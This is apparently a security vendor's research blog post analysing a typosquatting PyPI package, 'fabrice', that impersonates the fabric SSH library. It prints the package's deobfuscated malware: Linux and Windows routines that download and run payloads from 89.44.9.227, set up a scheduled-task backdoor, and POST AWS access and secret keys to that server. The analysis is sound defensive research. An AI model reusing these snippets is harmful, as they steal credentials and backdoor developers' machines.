Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

Security News

Research

Malicious Python Package Typosquats Popular 'fabric' SSH Library, Exfiltrates AWS Credentials

The Socket Research Team uncovered a malicious Python package typosquatting the popular 'fabric' SSH library, silently exfiltrating AWS credentials from unsuspecting developers.

Malicious Python Package Typosquats Popular 'fabric' SSH Library, Exfiltrates AWS Credentials

Socket Research Team

November 6, 2024


The Socket Research Team has discovered a malicious Python package, fabrice, that is typosquatting the popular fabric SSH automation library. The threat of malware delivered through typosquatted libraries remains a significant and growing risk to developers using open source software, as demonstrated by the massive malware campaign that recently hit npm. Today we are investigating a typosquatting package that has been live on PyPI since 2021, silently exfiltrating AWS credentials, with more than 37,000 total downloads.

The legitimate fabric library, developed by bitprophet, has over 201 million downloads and is trusted by developers worldwide. fabrice, however, is designed to exploit this trust, containing payloads that steal credentials, create backdoors, and execute platform-specific scripts. Our analysis examines the package’s actions on both Linux and Windows systems with insights into its behavior and recommendations for mitigating these attacks.

Platform-Specific Malicious Actions in fabrice#

The fabrice package uses different approaches to execute malicious commands depending on whether it’s running on a Linux or Windows system. Below, we analyze each set of malicious actions found in group.py.

Malicious Actions on Linux

On Linux systems, fabrice uses a function called linuxThread() to download, decode, and execute scripts from an external server. This function targets hidden directories and employs obfuscation techniques to make detection difficult.

Linux system linuxThread()

def linuxThread():
    try:
        home = expanduser("~")
        directory = home + "/.local/bin/vscode"
        fileE = home + "/.local/bin/vscode" + "/per.sh"
        
        if not os.path.exists(directory):
            os.makedirs(directory)

        # Download content from external server
        a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce"
        response = requests.get(a4)
        text = response.text

        # Split the response data into multiple files
        dataList, finalList = [], []
        for line in text.splitlines():
            if "SPLITT" in line:
                finalList.append(dataList)
                dataList = []
            else:
                if "directory" in line:
                    line = line.replace("{directory}", directory)
                dataList.append(line)

        # Create and write to shell script files
        with open(directory + "/service.sh", "w") as fp:
            for line in finalList[0]:
                fp.write(line + "\n")
        with open(directory + "/app.py", "w") as fp:
            for line in finalList[1]:
                fp.write(line + "\n")
        with open(directory + "/info.py", "w") as fp:
            for line in finalList[2]:
                fp.write(line + "\n")
        with open(directory + "/per.sh", "w") as fp:
            for line in finalList[3]:
                fp.write(line + "\n")

        # Set execute permissions and run the script
        os.chmod(fileE, 0o755)
        subprocess.check_call(fileE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
        
    except Exception as e:
        pass

Analysis

  1. Hidden Directories: The linuxThread() function creates a hidden directory (~/.local/bin/vscode) where it stores downloaded payloads. This makes it harder for the user to spot unusual files.
  2. Obfuscated URL: The URL is obfuscated, using string concatenation to mask its purpose. It connects to 89.44.9.227 (a VPN server by M247, Paris) to download malicious scripts.
  3. Decoding and Execution: The downloaded text is parsed, split, and stored as executable files in the hidden directory. The final step sets execute permissions on these files and executes one of them (per.sh), allowing the attacker to run commands with user privileges.

Malicious Actions on Windows: Deobfuscated Malicious Windows Scripts: vv and zz Variables for Persistence and Command Execution#

On Windows systems, the winThread() function creates scripts and a VBScript file, leveraging base64-encoded payloads. This function aims to download and execute malicious code that can persist across reboots. In the fabrice package, the winThread() function contains two base64-encoded variables, vv and zz. These variables are decoded into two separate scripts, with each designed to carry out specific malicious actions on Windows systems. Together, they enable unauthorized script execution and ensure that the malware persists by scheduling repeated tasks. Let’s examine the malicious actions carried out on Windows systems in detail.

Summary of vv

The vv variable decodes into a VBScript (p.vbs) that runs a hidden Python script (d.py). This d.py script is stored in the user’s Downloads folder and is executed without the user’s knowledge. Here’s the deobfuscated vv code:

Sub Main()
    command1 = c1 & " " & "C:\Users\Public\Downloads\d.py"
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run command1, 0  ' Executes d.py in hidden mode
    Set WshShell = Nothing
End Sub

On Error Resume Next
Main
If Err.Number Then
   WScript.Quit 4711
End If

The vv script initializes a hidden execution of the d.py script using the WScript.Shell object. By running it with error handling (On Error Resume Next), it hides any execution issues, allowing the attacker’s script to run unnoticed. This VBScript functions as a launcher, allowing the Python script to execute commands or initiate further payloads as designed by the attacker.

The zz variable is decoded into a Python script that performs several actions to install and persist malware on the system. Here is the deobfuscated code for the zz script:

try:
    import requests
    import subprocess
    import os
    
    # Downloading malicious executable from the attacker's server
    response = requests.get("http://89.44.9.227/wirkeidnide")
    
    # Saving downloaded payload as 'chrome.exe' in the Downloads folder
    with open("C:\\Users\\Public\\Downloads\\chrome.exe", "wb") as fp:
        fp.write(response.content)
    
    # Creating a scheduled task to execute 'chrome.exe' every 15 minutes
    subprocess.call("schtasks /create /sc minute /mo 15 /tn \"chromeUpdate\" /tr C:\\Users\\Public\\Downloads\\chrome.exe /F")
    
    # Removing the original d.py file to cover tracks
    os.remove("C:\\Users\\Public\\Downloads\\d.py")
    
except Exception:
    pass

Summary of zz

The zz script takes the malicious activity a step further by:

  1. Downloading and Saving Malicious Executable: It retrieves an executable (chrome.exe) from the attacker's server (located at IP 89.44.9.227) and stores it in the Downloads folder.
  2. Establishing Persistence with Scheduled Tasks: It uses the Windows schtasks command to create a scheduled task (chromeUpdate) that runs every 15 minutes, ensuring chrome.exe is executed periodically.
  3. Covering Tracks: To avoid suspicion, it deletes the initial d.py script after setting up the persistent backdoor.

This combination of actions allows the attacker to maintain control over the compromised system, continually re-running their malicious executable.

Exfiltration of AWS Credentials#

The fabrice package’s primary goal appears to be credential theft, specifically AWS credentials. Using the boto3 library, the package gathers AWS access and secret keys, then sends them to a remote server.

Credential Exfiltration

session = boto3.Session()
cd = session.get_credentials()
ak = cd.access_key
sk = cd.secret_key
data = {"k": ak, "s": sk}
muri = "ht"+"tp"+":"+"//89.44.9.227/akkfuifkeifsa"
requests.post(muri, json=data, timeout=4)

AWS Credential Theft: By collecting AWS keys, the attacker gains access to potentially sensitive cloud resources.

Data Exfiltration to VPN Server: The data is sent to 89.44.9.227, a VPN endpoint, making it difficult to trace. This server, operated by M247 in Paris, could facilitate credential misuse without revealing the attacker’s identity.

Platform-Agnostic Attack Trigger#

The test() function in group.py dynamically checks the system’s OS and executes the corresponding thread (either winThread() or linuxThread()).

OS Detection and Trigger

def test():
    try:
        if platform.system() == "Windows":
            winThread()
        elif platform.system() == "Linux":
            linuxThread()
        else:
            # Additional fallback mechanism for unsupported OS
            session = boto3.Session()
            cd = session.get_credentials()
            ak = cd.access_key
            sk = cd.secret_key
            data = {"k": ak, "s": sk}
            muri = "ht"+"tp"+":"+"//89.44.9.227/akkfuifkeifsa"
            requests.post(muri, json=data, timeout=4)
    except:
        pass

This platform-agnostic trigger ensures that the attack proceeds regardless of the operating system, broadening its potential impact.

Secure Your Dependencies with Socket#

The fabrice package represents a sophisticated typosquatting attack, crafted to impersonate the trusted fabric library and exploit unsuspecting developers by gaining unauthorized access to sensitive credentials on both Linux and Windows systems. Through obfuscated URLs, encoded payloads, and a VPN-based proxy server for covert data exfiltration, this attack underscores the critical importance of using tools that will alert you to this behavior before it lands in your codebase.

The free Socket for GitHub app seamlessly integrates with your GitHub repositories, providing continuous monitoring and advanced security checks. By automating the detection of malicious packages and suspicious dependencies, the Socket app ensures that threats like the fabrice typosquatting package are identified early.

The Socket web extension will also help you spot malicious packages on the web, with real-time threat detection on any website (or configure for specific sites.)

Recognizing the severe risk fabrice poses, our team has proactively reported it to the PyPI team for takedown to safeguard the broader developer community. It is still live at the time of publishing. We strongly encourage developers to remain vigilant, thoroughly verify dependencies, and utilize tools designed to detect and block malicious packages before they can compromise critical environments.

Socket Research Team

Dhanesh Dodia

Sambarathi Sai

Dwijay Chintakunta

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc